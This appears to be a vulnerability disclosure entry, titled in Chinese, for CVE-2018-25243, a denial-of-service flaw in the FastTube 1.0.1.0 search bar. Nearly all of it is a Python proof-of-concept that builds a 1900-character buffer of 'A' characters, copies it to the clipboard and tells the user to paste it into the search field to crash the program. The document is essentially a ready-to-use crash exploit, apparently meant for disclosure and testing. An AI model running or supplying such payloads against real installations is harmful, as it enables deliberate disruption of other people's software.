CVE-2018-25243 FastTube搜索功能拒绝服务漏洞

# PoC for CVE-2018-25243 # This script generates a payload to crash FastTube 1.0.1.0 via the search bar. import pyperclip # Requires pyperclip, or print manually def generate_poc(): # Vulnerability triggers with a buffer of approximately 1900 characters payload = "A" * 1900 return payload if __name__ == "__main__": crash_string = generate_poc() print(f"Generated Payload Length: {len(crash_string)}") print("Payload:") print(crash_string) # Copy to clipboard to simulate pasting into the application try: pyperclip.copy(crash_string) print("\n[+] Payload copied to clipboard. Paste into FastTube search bar and press enter.") except ImportError: print("\n[!] pyperclip not installed. Please copy the string manually.")